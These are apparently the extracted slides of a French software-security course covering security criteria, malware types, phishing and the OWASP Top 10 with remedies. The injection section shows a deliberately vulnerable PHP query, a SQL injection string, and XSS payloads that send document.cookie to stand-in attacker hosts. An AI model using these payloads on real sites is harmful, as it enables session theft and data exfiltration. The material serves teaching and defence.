Vous êtes sur la page 1sur 85

Sécurité logiciel

Pr. Jamila Oukharijane


jamila.oukharijane@gmail.com
Chapitre 1.
Introduction à la sécurité

Jamila Oukharijane Sécurité logiciel 2


1. Les enjeux de la sécurité

Qu'est ce qu’un système d’information ?

Système d’information :
ensemble des ressources destinées à collecter,
classifier, stocker, gérer, diffuser les informations
au sein d’une organisation.

Un des moyens techniques


pour faire fonctionner un système d’information est d’utiliser un
logiciel

Jamila Oukharijane Sécurité logiciel 3


1. Les enjeux de la sécurité
• La sécurité du système d’Information (S.I.) implique la sécurité de
l’ensemble de ses ressources.
Sécurité des

systèmes d’information

Sécurité des
Sécurité juridique
...
logiciels

Sécurité des

Réseaux et échanges

• Les logiciels sont au cœur des systèmes d´information.

La sécurité du S.I. consiste donc à assurer


la sécurité des logiciels

Jamila Oukharijane Sécurité logiciel 4


1. Les enjeux de la sécurité

• La sécurité a pour objectif de réduire les risques pesant sur le


système d’information, pour limiter leurs impacts sur le
fonctionnement et les activités métiers des organisations…

• La gestion de la sécurité au sein d’un système d’information n’a pas


pour objectif de faire de l’obstruction. Au contraire :

– Elle contribue à la qualité de service que les utilisateurs sont en


droit d’attendre

– Elle garantit au personnel le niveau de protection qu’ils sont en droit


d’attendre

Jamila Oukharijane Sécurité logiciel 5


2. Les besoins de sécurité

• Comment définir le niveau de sécurité d’un bien du S.I. ?


Comment évaluer si ce bien est correctement sécurisé ?

• 5 critères sont retenus pour répondre à cette problématique :

1. Confidentialité

2. Intégrité
Bien à
protéger 3. Disponibilité

4. Authentification

5. Non-répudiation

Jamila Oukharijane Sécurité logiciel 6


2. Les besoins de sécurité

1. Confidentialité

Les données accessibles à travers l’application ne doivent l’être


qu’aux seuls utilisateurs autorisés.

La confidentialité concerne les données stockées dans la base


de données de l’application ainsi que les données en cours de
transit sur le réseau (entre serveur web et serveur BD ou entre
serveur web et navigateur).

Plusieurs techniques permettent de s’assurer de la


confidentialité des données: contrôle d’accès, cryptographie.

Jamila Oukharijane Sécurité logiciel 7


2. Les besoins de sécurité

2. Intégrité

Les données gérées par l’application ne doivent être


modifiables que par les utilisateurs habilités à faire cela.

Comme dans le cas de la confidentialité des données,


l’intégrité des données s’applique aux données stockées ainsi
qu’aux données en transit.

Plusieurs techniques permettent de s’assurer de l’intégrité des


données: contrôle d’accès, hachage cryptographique.

Jamila Oukharijane Sécurité logiciel 8


2. Les besoins de sécurité

3. Disponibilité

L’interruption du fonctionnement de l’application, volontaire ou


accidentelle, pendant une période de temps peut avoir des
conséquences financière importantes, des conséquences en
terme d’image...
Ces interruptions doivent être évitées autant que possible et
leur durée réduite au minimum.

Jamila Oukharijane Sécurité logiciel 9


2. Les besoins de sécurité

4. Authentification

Authentifier un utilisateur consiste pouvoir s’assurer de son identité


réelle.

L’authentification peut être réalisée par différents moyens tel que


l’utilisation d’un mot de passe, une information biométrique
(empreinte digitale, iris de l’œil, forme du visage...), une clé
cryptographique privée, un token matériel d’authentification...

Jamila Oukharijane Sécurité logiciel 10


2. Les besoins de sécurité

5. Non-répudiation

La non-répudiation consiste à conserver des preuves fiables sur


l’identité des acteurs ayant effectuer des actions de manière à ce
qu’ils ne puissent pas nier avoir été à l’origine de ces actions.

La non-répudiation permet de données aux transactions


réalisées à travers une application web une validité contractuelle
et légale.

Jamila Oukharijane Sécurité logiciel 11


2. Les besoins de sécurité

Évaluation des besoins de sécurité

 Pour évaluer si un bien est correctement sécurisé, il faut


auditer son niveau de Disponibilité, Intégrité,
Confidentialité, Authentification et Non-répudiation.
L’évaluation de ces critères sur une échelle permet de
déterminer si ce bien est correctement sécurisé.

 Tous les biens d’un S.I. n’ont pas nécessairement besoin


d’atteindre les mêmes niveaux de besoins de sécurité.

Jamila Oukharijane Sécurité logiciel 12


2. Les besoins de sécurité
Exemple d’évaluation des besoins de sécurité
• Exemple avec un site institutionnel simple (statique) d’une
entreprise qui souhaite promouvoir ses services sur internet :
Disponibilité = Très fort Confidentialité = Faible
Un haut niveau de disponibilité du Un faible niveau de
site web est nécessaire, sans quoi confidentialité suffit. En effet,
l’entreprise ne peut atteindre son les informations contenues
objectif de faire connaître ses dans ce site web sont
services au public publiques par nature!

Intégrité = Très fort Authentification = Faible


Serveur
Un haut niveau d’intégrité des web
Non-répudiation= Faible
informations présentées est
Un faible niveau de non-
nécessaire. En effet, l’entreprise ne
répudiation et d’authentification
souhaiterait pas qu’un concurrent
suffit. En effet, ce site web ne
modifie frauduleusement le contenu
permet aucune interaction avec les
du site web pour y insérer des
utilisateurs, il fournit simplement
informations erronées (ce qui serait
des informations fixes.
dommageable)
Jamila Oukharijane Sécurité logiciel 13
3. Notions de sécurité

Différences entre sûreté et sécurité


« Sûreté » et « Sécurité » ont des significations différentes en fonction du
contexte. L’interprétation de ces expressions peuvent varier en fonction de
la sensibilité de chacun.

Sûreté Sécurité
Protection contre les Protection contre les actions
dysfonctionnements et accidents malveillantes volontaires
involontaires
Exemple de risque : blocage d’un
Exemple de risque : saturation d’un service, modification
point d’accès, panne d’un disque, d’informations, vol d’information
erreur d’exécution, etc.
Non quantifiable statistiquement,
Quantifiable statistiquement (ex. : la mais il est possible d’évaluer en
durée de vie moyenne d’un disque amont le niveau du risque et les
est de X milliers d’heures) impacts
Jamila Oukharijane Sécurité logiciel 14
3. Notions de sécurité

Différences entre sûreté et sécurité

Sûreté : ensemble de mécanismes mis en


place pour assurer la continuité de
fonctionnement du système dans les
conditions requises.

Sécurité : ensemble de mécanismes


destinés à protéger l'information des
utilisateurs ou processus n'ayant pas
l'autorisation de la manipuler et d’assurer
les accès autorisés.

Le périmètre de chacune des 2 notions


n’est pas si clairement délimité dans la
réalité : dans le cas de la voiture
connectée on cherchera la sécurité et la
sûreté.

Jamila Oukharijane Sécurité logiciel 15


3. Notions de sécurité

Définition de la sécurité
 La sécurité informatique recouvre l'ensemble de méthodes,
techniques et outils mis en œuvre pour minimiser la vulnérabilité d’un
système contre des menaces intentionnelles et accidentelles.

La sécurité informatique :

 protection contre les accidents dus à l’environnement et les défauts de


système.

 protection contre des actions malveillantes intentionnelles.

Jamila Oukharijane Sécurité logiciel 16


3. Notions de sécurité

Parmi les notions fondamentales à connaître pour pouvoir appréhender


sécurité:
a. Notion de « Vulnérabilité »
• Faiblesse au niveau d’un bien (au niveau de la conception, de la
réalisation, de l’installation, de la configuration ou de l’utilisation du
bien) qui peut être exploitée pour causer un dommage à
l’application web (menace)..

Vulnérabilités

Jamila Oukharijane Sécurité logiciel 17


3. Notions de sécurité

b. Notion de « Menace »

• Cause potentielle d’un incident, qui pourrait entraîner des


dommages sur un bien si cette menace se concrétisait.

Personnes extérieures malveillantes


Stagiaire
malintentionné

Perte de service

Menaces
Code malveillant

Jamila Oukharijane Sécurité logiciel 18


3. Notions de sécurité

c. Notion d’« Attaque »


• Action malveillante destinée à porter atteinte à la sécurité d’un
bien. Une attaque représente la concrétisation d’une menace, et
nécessite l’exploitation d’une vulnérabilité.
• Une attaque ne peut donc avoir lieu (et réussir) que si le bien est
affecté par une vulnérabilité.

Attaques

Jamila Oukharijane Sécurité logiciel 19


3. Notions de sécurité
c. Notion d’« Attaque »

Erreurs de saisie Virus


Confidentialité Intégrité
Intégrité Disponibilité

Attaques réseau
Accès illégal (intrusion) Rayonnements
Confidentialité (écoute) confidentialité
Intégrité (modification paquets) confidentialité
Intégrité
Disponibilité (saturation) Disponibilité

Jamila Oukharijane Sécurité logiciel 20


3. Notions de sécurité
d. Types d’attaques
Une attaque peut être classée par son comportement de l’attaque ou par la

position de l’attaquant.

Jamila Oukharijane Sécurité logiciel 21


3. Notions de sécurité
d. Types d’attaques

Une attaque peut être :


− Une «attaque active» tente de modifier les ressources du


système ou d'affecter leur fonctionnement. Notez qu’une attaque
active peut être exécutée sans la capacité d’écoute.
− Une «attaque passive» tente d'apprendre ou d'utiliser des
informations du système, mais n'affecte pas les ressources du
système. (e.g., Écoutes téléphoniques). Les attaques passives
sont généralement indétectables, mais une prévention est
possible.

Jamila Oukharijane Sécurité logiciel 22


3. Notions de sécurité
d. Types d’attaques


Une attaque peut être perpétrée de l’intérieur ou de l’extérieur de
l’organisation.
− Une «attaque interne» est une attaque initiée par une entité dans
le périmètre de sécurité, c'est‐à‐dire une entité autorisée à
accéder aux ressources du système mais qui les utilise d'une
manière non approuvée par ceux qui ont accordé l’autorisation.
− Une «attaque externe» est initiée depuis l'extérieur du périmètre,
par un utilisateur non autorisé ou illégitime du système.

Jamila Oukharijane Sécurité logiciel 23


4. Niveaux d’application de la sécurité
 Les systèmes informatiques mettent en œuvre différentes composantes,
allant de l’électricité pour alimenter les machines au logiciel exécuté via le
système d’exploitation et utilisant le réseau.
 Les attaques peuvent intervenir à chaque maillon de cette chaîne, pour peu
qu’il existe une vulnérabilité exploitable.

Jamila Oukharijane Sécurité logiciel 24


4. Niveaux d’application de la sécurité

1. Niveau matériel
Matériel nécessaire au stockage et à l’exécution de l’application web.
 Serveurs (serveur web, serveur d’application, serveur BD)
 Postes clients
 Équipements réseau (routeurs, hubs, câbles...)

Vulnérabilités:
 Stockage dans des locaux inadaptés (facilité d’accès aux
personnes, mauvaise aération, humidité…)
 Composants matériels de mauvaise qualité
 Alimentation électrique et connexion réseau défaillantes…

Jamila Oukharijane Sécurité logiciel 25


4. Niveaux d’application de la sécurité

2. Niveau système d’exploitation

Les systèmes d’exploitation modernes offrent des mécanismes de


sécurité robustes.
Ils permettent de définir des comptes utilisateurs et de leur attribuer
des privilèges et autorisations sur le système (droit d’administration,
droit de lire ou d’écrire dans un répertoire ou fichier, droit de
démarrer ou d’arrêter un service...).
L’utilisation d’un compte nécessite de passer par un processus
d’authentification de manière à s’assurer de l’identité de l’utilisateur
(identifiant + mot de passe, clé cryptographique privée, données
biométriques...).

Jamila Oukharijane Sécurité logiciel 26


4. Niveaux d’application de la sécurité

2. Niveau système d’exploitation

Vulnérabilités:
 Comptes sans mot de passe
 Mot de passe trop court, trop simple...
 Gestion laxiste des droits d’utilisateur (utilisateurs disposant de plus
de droits que nécessaire)
 Négligence dans l’application des mises à jour de sécurité
 ...

Jamila Oukharijane Sécurité logiciel 27


4. Niveaux d’application de la sécurité

3. Niveau application
La sécurité de l’application web doit être une préoccupation
constante tout au long de son cycle de vie.
Vulnérabilités:

 Absence de filtrage des données saisies par l’utilisateur (type,


taille, format...)

 Absence de filtrage des fichiers téléchargés vers le serveur (type,


taille, …)

…

Jamila Oukharijane Sécurité logiciel 28


4. Niveaux d’application de la sécurité

4. Niveau réseau
Les applications web étant des applications réparties, les
communications réseau sont nécessaires à leur fonctionnement. La
sécurité sur le réseau consiste essentiellement à sécuriser les
échanges de données et à garantir l’identité des tiers qui participent
à la communication.
Vulnérabilités:

 Pas de sécurité native sur Internet.

 Facilité d’espionnage sur un réseau local.

 Absence d’authentification des tiers.

Jamila Oukharijane Sécurité logiciel 29


Chapitre 2.
Malveillances et attaques

Jamila Oukharijane Sécurité logiciel 30


1. Les logiciels malveillants

Un pirate informatique est une personne qui contourne ou détruit


les protections d’un logiciel, d’un ordinateur ou d’un réseau
informatique dans un but malveillant.
Un logiciel malveillant ou malware est un logiciel développé par un
pirate dans le but de nuire à un système informatique.
Il existe différents types de logiciels malveillants :
− Virus
− Ver
− cheval de Troie
− Bombe logique
− ...

Jamila Oukharijane Sécurité logiciel 31


1. Les logiciels malveillants

Un virus est un logiciel malveillant, généralement de petite taille, qui


se transmet par les réseaux ou les supports d'information amovibles,
s’implante au sein des programmes en les parasitant, se duplique à
l'insu des utilisateurs et produit ses effets dommageables quand le
programme infecté est exécuté ou quand survient un évènement
donné.
On distingue :
− le virus de boot : il est chargé en mémoire au démarrage et
prend le contrôle de l’ordinateur ;
− le virus d’application : il infecte un programme exécutable et se
déclenche à l’exécution de celui-ci ;
− le macro virus : il infecte les documents bureautiques en utilisant
leur langage de programmation.
Jamila Oukharijane Sécurité logiciel 32
1. Les logiciels malveillants

Un ver est un logiciel malveillant indépendant qui se transmet


d’ordinateur à ordinateur par l’internet ou tout autre réseau et
perturbe le fonctionnement des systèmes concernés en s’exécutant à
l'insu des utilisateurs.

Contrairement au virus, le ver ne s’implante pas au sein d’un autre


programme. Il se propage de façon autonome.

Les vers sont souvent conçus pour saturer les ressources


disponibles ou allonger la durée des traitements. Ils peuvent aussi
détruire les données d’un ordinateur, perturber le fonctionnement du
réseau ou transférer frauduleusement des informations.

Un ver peut produire des effets soit immédiatement soit de manière
différée (à une date donnée, lors de la survenue d'un évènement ou
par déclenchement d'une bombe programmée).
Jamila Oukharijane Sécurité logiciel 33
1. Les logiciels malveillants

Un cheval de Troie ou Troyen est un programme malveillant placé


dans un programme sain. Il est programmé pour être installé de
manière invisible par des utilisateurs naïfs, ou des programmes
illicites afin d’avoir un contrôle sur l’ordinateur de la victime

Il peut servir à voler des mots de passe, copier des données
sensibles, créer une brèche volontaire dans la sécurité pour autoriser
des accès à des parties protégées du réseau à des personnes se
connectant de l’extérieur (ouvrir un port).

Jamila Oukharijane Sécurité logiciel 34


1. Les logiciels malveillants

Une Bombe logique est un programme qui se déclenche


automatiquement suite à un événement particulier (date,signal
distant).

Une bombe logique contient une partie de code conditionnelle qui


explosera une fois la condition réalisée (temps, date, action, signal,
…) et non lors de l’installation de la bombe logique.

Jamila Oukharijane Sécurité logiciel 35


2. Malveillance par Messagerie


Les malveillances par messagerie regroupent toutes les menaces
informatiques intentionnelles ciblant les comptes de messageries,
les e-mails ou les échanges de courriers électroniques.


On y distingue principalement trois types :

− les spams,

− les courriels hameçonnage

− les canulars.

Jamila Oukharijane Sécurité logiciel 36


2. Malveillance par Messagerie


Pourriel (spam ou courrier indésirable) est l’envoi massif de
courrier électronique à des destinataires ne l’ayant pas sollicité.


Les spammeurs collectent généralement les adresses
électroniques sur internet (dans les forums, sur les sites internet,
dans les groupes de discussion, …).

Jamila Oukharijane Sécurité logiciel 37


2. Malveillance par Messagerie


Hameçonnage (phishing) est une technique frauduleuse utilisée
par les pirates informatiques pour récupérer des informations
(généralement bancaires) auprès des utilisateurs.


Les utilisateurs reçoivent un courrier électronique semblant
provenir d’une entreprise de confiance, typiquement une banque
ou un site de commerce (copie conforme du site original)

Jamila Oukharijane Sécurité logiciel 38


2. Malveillance par Messagerie


Canular (Hoax) est un courriel électronique propageant de
fausses informations et poussant le destinataire à diffuser la
fausse nouvelle à tous ses proches ou collègues.


En apparence les canulars ne sont nocifs mais ils peuvent avoir
d’autres conséquences telles que la congestion des réseaux, la
diffusion de fausses rumeurs et l’encombrement des boites aux
lettres électroniques avec la diffusion massive de courriels

Jamila Oukharijane Sécurité logiciel 39


Chapitre 3.
Vulnérabilités du web

Jamila Oukharijane Sécurité logiciel 40


Principales failles des application web

 La communauté OWASP (Open Web Application Security


Project) est devenue l’une des principales références en
matière de bonnes pratiques de sécurité en ligne.

 Son Top 10 des risques de sécurité applicatifs Web les plus


critiques fait aujourd’hui figure de norme de facto dans le
domaine de la sécurité des applications.

Jamila Oukharijane Sécurité logiciel 41


Principales failles des application web

1 Contrôle d’accès défaillant


2 Défaillances cryptographiques
3 Injection
4 Conception non sécurisée
5 Mauvaise configuration de sécurité
6 Composants vulnérables et obsolètes
7 Identification et authentification de mauvaise qualité
8 Manque d’intégrité des données et du logiciel
9 Carence des systèmes de contrôle et de journalisation
10 Falsification de requête côté serveur

Jamila Oukharijane Sécurité logiciel 42


A1. Contrôle d’accès défaillant

 Cette attaque vise les fonctionnalités des applications web qui


nécessitent un contrôle d’accès.

 Le contrôle des accès permet aux applications web de n’être


accessibles qu’à un cercle limité de personnes, par exemple
pour des utilisateurs authentifié qui ne pourront agir qu’à un
certain niveau d’autorisation.

 On parle de contrôle d’accès défaillant lorsque les


limitations prévues ne sont pas mises en œuvre correctement.
Des personnes non autorisées ont alors accès à des données
sensibles, et des pirates peuvent les modifier ou les détruire.

Jamila Oukharijane Sécurité logiciel 43


A1. Contrôle d’accès défaillant

Les failles de sécurité les plus courantes :

 Des hackers peuvent avoir accès librement à des rôles et des


fonctions.

 Les paramètres et métadonnées peuvent être manipulés.

 Des cyberpirates peuvent attribuer des droits en se basant sur


des bugs ou des défauts de conception dans la
programmation

Jamila Oukharijane Sécurité logiciel 44


A1. Contrôle d’accès défaillant

Solutions :

 Les utilisateurs ne doivent pas avoir accès à une nouvelle


fonction avant que l’administrateur ne leur accorde
expressément l’accès.

 Journalisez et surveillez les échecs de tentative de


connexion ; les admins doivent être alertés en cas
d’anomalies

 Si des utilisateurs se déconnectent ou sont inactifs pendant


un long laps de temps, la session doit être automatiquement
invalidée

 Supprimez les comptes inactifs


Jamila Oukharijane Sécurité logiciel 45
A2. Défaillances cryptographiques

Cette attaque concerne les failles liés à la protection insuffisante


des données stockées ou échangées via une application.

Les bases de données qui enregistrent les données


personnelles, les données de cartes de crédit, les noms
d’utilisateurs et les mots de passe représentent une cible de
choix pour un pirate.

Si ces données ne sont pas chiffrées, elles ne sont pas


sécurisées et peuvent être récupérées lorsqu’elles sont en transit
par exemple.

Jamila Oukharijane Sécurité logiciel 46


A2. Défaillances cryptographiques

Les failles de sécurité les plus courantes :


Des données sensibles sont sauvegardées ou transférées en
clair.
L’application web utilise des algorithmes et des protocoles de
chiffrement désuets ou faibles
Objectifs de l’attaque
Accéder à des données confidentielles.
Vol d’information
Solution :
Ne stockez pas de données sensibles
L’utilisation de cryptographie peut atténuer ce type d’attaque.
Jamila Oukharijane Sécurité logiciel 47
A2. Défaillances cryptographiques

La cryptographie est un ensemble d e techniques


permettant d’assurer les dimensions d e sécurité par
l’utilisation d e s mé th od es d e chiffrement.

Le chiffrement permet d e transformer le texte clair en un


texte chiffré à l’aide d’un algorithme d e chiffrement et d’une
clé.
Le déchiffrement permet d e transformer le texte chiffré en
texte clair identique à celui d’origine à l’aide d’un algorithme
d e déchiffrement et une clé .
Jamila Oukharijane Sécurité logiciel 48
A2. Défaillances cryptographiques

Les mécanismes de chiffrement sont généralement paramétrés


par des clés.

En pratique, le chiffrement peut être :

 Symétrique

Asymétrique

Jamila Oukharijane Sécurité logiciel 49


A2. Défaillances cryptographiques

Chiffrement symétrique est une méthode de chiffrement dans


laquelle la même clé est utilisée pour le chiffrement et le
déchiffrement.
Cette clé est appelée clé secrète et doit rester confidentielle
pour des questions de sécurité.

Jamila Oukharijane Sécurité logiciel 50


A2. Défaillances cryptographiques

Chiffrement asymétrique est une méthode de chiffrement utilisant


deux clés différentes : une clé publique, qui peut être diffusée
publiquement, et une clé privée, qui doit rester confidentielle
La clé publique est utilisée pour chiffrer, et la clé privée pour déchiffrer
le message.

Jamila Oukharijane Sécurité logiciel 51


A3. Injection


Une attaque par injection est une attaque permettant
l’injection de code arbitraire dans l’application.


L’injection se produit quand des données écrites par
l’utilisateur sont envoyées à un interpréteur en tant qu’élément
faisant partie d’une commande ou d’une requête.


En injectant dans les zones de saisie classiques présentées à
l’utilisateur du code malicieux.

 Les failles d’injection, permettent aux attaquants de créer, lire,


modifier ou effacer toute donnée arbitraire de l’application.

Jamila Oukharijane Sécurité logiciel 52


A3. Injection
 Moyens utilisés
 Formulaire de saisie de l’application
 Injection de code malicieux dans le code de l’application
 Objectif de l’attaque : L’attaque par injection peut viser :
 La disponibilité : (charge maximale du serveur de base de
données, modification du mot de passe d’un utilisateur ou de
l’administrateur de l’application web dans un UPDATE) ;
 La confidentialité par l’obtention d’informations stockées
dans la base ou l’accès à un intranet sans autorisation ;
 L’intégrité des données (modification ou suppression des
données).
Jamila Oukharijane Sécurité logiciel 53
A3. Injection
 Principe de l’attaque par injection
1.Envoi de code malveillant
2.Envoi de la requête correspondante pour traitement
3.Les étapes suivantes sont fonction de l’attaque employée
4. …
5.
2) Demande de
1) traitement

4) … 3) …
Attaquant Serveur http

Jamila Oukharijane Sécurité logiciel 54


A3. Injection


Parmi les formes les plus fréquentes d’injection, nous citons :

─L’injection SQL est une faille de sécurité permettant à un


utilisateur mal intentionné d’exécuter n’importe quelle
requête SQL sur votre base de données

─Cross Site Scripting, abrégé XSS pour ne pas confondre


avec les feuilles de styles CSS permettant à un utilisateur
mal intentionné d’injecter un code HTML ou JavaScript dans
l’application, ce qui peut entraîner des détournements de
sessions ou des défacements de sites Web.

Jamila Oukharijane Sécurité logiciel 55


A3. Injection SQL
 Comportement d’une application vulnérable à l’injection SQL
1. Envoi de la saisie d’un formulaire
2. Envoi de la requête correspondante pour traitement
3. Retour du résultat à la page de script
4. Génération et envoie de la page HTML
SELECT numerocarte FROM comptes
WHERE nom='user4'
1) AND motdepasse=PASSWORD('eng111')
2) Requête SQL

4) HTML + CSS 3) Résultat

Utilisateur Serveur http +- - - - - - - - - - - - -


| numerocarte

Jamila Oukharijane Sécurité12548556


logiciel | 56
A3. Injection SQL
 Source de vulnérabilité
1. Le script PHP pour exploiter cette requête de façon dynamique
//récupération des paramètres
2  $nom = $_GET['nom'];

$motdepasse = $_GET['motdepasse'];
//génération de la requête
1  $requeteSQL = "SELECT numerocarte FROM comptes WHERE nom =
'$nom' AND motdepasse = PASSWORD( '$motdepasse' )";
//exécution de la requête
$reponse = mysql_query($requeteSQL);
$resultat = mysql_fetch_assoc($reponse);
//affichage du résultat
echo $resultat['numerocarte'];

Jamila Oukharijane Sécurité logiciel 57


A3. Injection SQL
Vol d’information par injection SQL
 En remplissant le formulaire avec la valeur « ’ OR 1=1 -- ’ » pour le
champ « nom » et n’importe quelle valeur pour le mot de passe, la
requête qui sera envoyée à la base de données devient :
SELECT numerocarte FROM comptes
WHERE nom='' OR 1=1 -- ' '
AND motdepasse=PASSWORD('eng111')
1) 2) Requête SQL

4) HTML + CSS 3) Résultat


Attaquant Serveur http numerorocarte
987654321

Ainsi la condition 1=1 est toujours vérifiée et le reste de la commande
est mis en commentaire grâce à la chaîne de caractères « -- ». Cela
permet donc de récupérer aléatoirement un numéro de carte.
Jamila Oukharijane Sécurité logiciel 58
A3. Injection SQL
 Solutions
1.Utiliser des requêtes paramétrées
2.Ne pas autoriser les caractères spéciaux
//récupération des paramètres
2  $nom = htmlspecialchars($_GET['nom'],ENT_QUOTES);
$motdepasse = htmlspecialchars($_GET['motdepasse'] ,ENT_QUOTES);
//préparation de la requête
1  $stmt = $mysqli->prepare("SELECT numerocarte FROM comptes WHERE
nom = ? AND motdepasse = PASSWORD( ? )");
$stmt->bind_param("ss", $nom, $motdepasse);
//exécution de la requête
$stmt->execute();
$stmt->bind_result($resultat);
$stmt->fetch();
//affichage du résultat
echo $resultat;
Jamila Oukharijane Sécurité logiciel 59
A3. Injection : Cross-Site Scripting (XSS)

 À la différence des injections SQL, XSS permet à un attaquant


d’exécuter des scripts dans le navigateur Web de la victime, ce qui
peut entraîner des détournements de sessions ou des défacements
de sites Web.
 L’attaquant peut par exemple rediriger l’utilisateur vers des sites Web
malveillants.

 Les failles de type XSS se déclinent en deux principales catégories :


 XSS par réflexion

 XSS Stockée
Jamila Oukharijane Sécurité logiciel 60
A3. Injection : Cross-Site Scripting (XSS)

 XSS par réflexion : Ce type de faille cible une seule victime à un


instant donné. Le contenu malveillant n’est pas stocké sur le serveur
Web mais livré à la victime via un lien malveillant

Jamila Oukharijane Sécurité logiciel 61


A3. Injection : Cross-Site Scripting (XSS)

XSS Stockée : Ce type de faille va impacter tous les utilisateurs qui


vont visiter la page infectée. Dans ce type de faille, l’attaquant va
envoyer un contenu malveillant à une application Web, qui va le
stocker dans la base de données associée au site Web.

Jamila Oukharijane Sécurité logiciel 62


A3. Injection : Cross-Site Scripting (XSS)

 Objectifs de l’attaque XSS : Cette faille exploite la confiance qu’un


utilisateur a dans un site web. Le code malveillant est exécuté dans le
navigateur de l’internaute pour :

 Voler des informations aux visiteurs (cookies, sessions ...) :


Ex:
<script>window.open('http://site-du_x005F_x0002_hacker.com/recupcookie.php
?val='+document.cookie");</script>

 Afficher un contenu souhaité par le hacker (message, pubs ...) ;


 <script>document.write('ma pub')</script>

 Rediriger vers une page de même apparence :


 <script language="javascript">document.location.href="http://site-
du_x005F_x0002_hacker.com/"</script>
Jamila Oukharijane Sécurité logiciel 63
A3. Injection : Cross-Site Scripting (XSS)

Exemple de scénario d’attaque :

 L’application utilise des données non fiables dans la construction du


fragment HTML sans l’avoir validée ou échappée au préalable :

(String) page += "<input name='creditcard' type='TEXT‘ value='" +


request.getParameter("CC") + "'>";

 L’attaquant modifie le paramètre ‘CC’ dans leur navigateur pour:

'><script>document.location='http://www.attacker.com/cgi-bin/
cookie.cgi? foo='+document.cookie</script>'.

 Cela provoque l'envoi de l'ID de session de la victime au site web de


l'attaquant, permettant à l'attaquant de détourner la session en cours
de l'utilisateur.
Jamila Oukharijane Sécurité logiciel 64
A3. Injection : Cross-Site Scripting (XSS)

 Solutions
1. Encodage des données : consiste à utiliser des fonctions permettant de filtrer des
symboles suspects en les remplaçant par leur équivalent HTML. Prenons l’exemple de la
fonction htmlspecialchars en PHP. Avec cette fonction, les modifications suivantes sont
réalisées : Le caractère " devient &quot et le caractère ‘ devient &#39.

<?php
$recherche = htmlspecialchars($_GET['recherche'],ENT_QUOTES);
echo $recherche;
?>

2. Rendre les cookies utilisables uniquement par l’application


Pour éviter le vol de cookies par du code JavaScript, il est possible de positionner
l'attribut de cookie HTTPOnly.

<?php session.cookie_httponly = True ?>

Jamila Oukharijane Sécurité logiciel 65


A4. Conception non sécurisé

 Cette attaque concerne les défauts de conception et


d’architecture des applications.

 Si vous voulez fournir une application sécurisée, vous avez


besoin de modèles de menaces, de principes de
conception sécurisés et d’architectures de référence.

 De plus, les développeurs doivent savoir comment les


concepts de conception et d'architecture doivent être
configurés et implémentés correctement dans le code. La
mise en œuvre incorrecte des concepts de conception et
d'architecture dans le code peut créer des failles de sécurité.

Jamila Oukharijane Sécurité logiciel 66


A4. Conception non sécurisé

Solutions :
 Mettre en place et utiliser un cycle de vie de développement
sécurisé avec des professionnels de la sécurité applicative
pour aider à évaluer et à concevoir des contrôles liés à la
sécurité et à la confidentialité .

 Mettre en place des tests unitaires et d’intégration


automatisés : une couverture de code complète, avec des
tests automatisés, permettent de réduire les risques.

Jamila Oukharijane Sécurité logiciel 67


A4. Conception non sécurisé

Solutions :
 Gérer granulairement des ressources : lors des phases de
récupération des besoins métier, il est important de bien
recueillir et évaluer les exigences techniques et fonctionnelles,
dont la confidentialité des données de l’application.

 Séparer les couches systèmes et réseau de l’application : en


divisant le déploiement en sous-systèmes modulaires.

 Restreindre le niveau d'accès à des données et des


ressources spécifiques par utilisateur.

Jamila Oukharijane Sécurité logiciel 68


A5. Mauvaise configuration de sécurité

 Les contrôles de sécurité qui ne sont pas configurés


correctement sont également problématiques.
Les failles les plus courantes :
 Des fonctionnalités inutiles sont activées ou installées (ex :
des ports, des services, des pages, des comptes ou des
privilèges inutiles) ;
 Les mots de passe par défaut ne sont pas modifiés ;
 Des autorisations mal configurées
 Le serveur n'envoie pas de directives de sécurité, ou s'ils ne
sont pas paramétrés avec des valeurs correctes du point de
vue de la sécurité ;
 La version du logiciel n’est pas à jour.
Jamila Oukharijane Sécurité logiciel 69
A5. Mauvaise configuration de sécurité

 Objectif de l’attaque
 Déni de service
 Prise de contrôle du système

 Solutions

1. Désactiver les options inutiles

2. Mettre à jour les composants

3. Supprimer ou désactiver les comptes par défaut

Jamila Oukharijane Sécurité logiciel 70


A6. Composants vulnérables et obsolètes


Même si votre application est sécurisée, vous devez vous
assurer que le framework, les bibliothèques, les appels API et
la plateforme que vous utilisez ne sont pas vulnérables.


Lorsqu’une nouvelle vulnérabilité est découverte, un correctif
est généralement proposé. Il faudra alors l’appliquer pour
garantir la sécurité de l’application.

Jamila Oukharijane Sécurité logiciel 71


A6. Composants vulnérables et obsolètes

Les failles les plus courantes :


Les versions et les composants côté client et côté serveur ne
sont pas connus ;


Des logiciels vulnérables, qui ne sont plus supportés ou
obsolètes, sont encore utilisés ;


Il n’y a pas de tests de compatibilité ;


Les configurations des composants ne sont pas sécurisées.

Jamila Oukharijane Sécurité logiciel 72


A6. Composants vulnérables et obsolètes

Solutions :

Supprimez les dépendances, fonctionnalités, composants,
fichiers et documentations inutiles ;

Faites régulièrement l’inventaire des versions des composants
client et serveur ainsi que de leurs dépendances. L’OWASP
propose pour cela un outil adapté : le Dependency Check ;

N’utilisez que des sources officielles et des liens sûrs

Faites particulièrement attention aux bibliothèques et aux
composants dont la maintenance n’est pas assurée et pour
lesquels il n’y a plus de patchs de sécurité.
Jamila Oukharijane Sécurité logiciel 73
A7. Échecs d'identification et d'authentification


Beaucoup d’applications exigent qu’un utilisateur se connecte
pour arriver sur des pages auxquelles lui seul a accès.


L’application est vulnérable à une attaque si un utilisateur
malveillant peut obtenir un accès non autorisé aux mots de
passe et clés pour pirater la session d’un autre utilisateur


Lors du développement d’une application, le codage des
fonctions liées à l’authentification et à la gestion des sessions
peuvent être incorrectement implémentées, permettant ainsi à
des attaquants de compromettre des mots de passe et des
identifiants de session.

Jamila Oukharijane Sécurité logiciel 74


A7. Échecs d'identification et d'authentification

Les failles les plus courantes :


Des mots de passe faibles ou trop courants sont acceptés lors
de l’enregistrement


Les mots de passe sont stockés en clair ou faiblement chiffrés


Les sessions d’utilisateurs ne sont pas invalidées correctement
en cas d’inactivité ou de déconnexion de l’utilisateur


Les identifiants de session sont aperçu dans l’URL

Jamila Oukharijane Sécurité logiciel 75


A7. Échecs d'identification et d'authentification


Les attaques pour anticiper une identité peuvent être regroupées en
deux catégories :

1. Attaque contre le système


2. Vol de session
d’authentification : Violation
de gestion d'authentification

Jamila Oukharijane Sécurité logiciel 76


A7. Échecs d'identification et d'authentification

Objectifs de l’attaque :

Accéder à des fonctionnalités réservées à certaines
personnes.

Accéder à des données confidentielles.

Vol d’information

Corruption de données

Jamila Oukharijane Sécurité logiciel 77


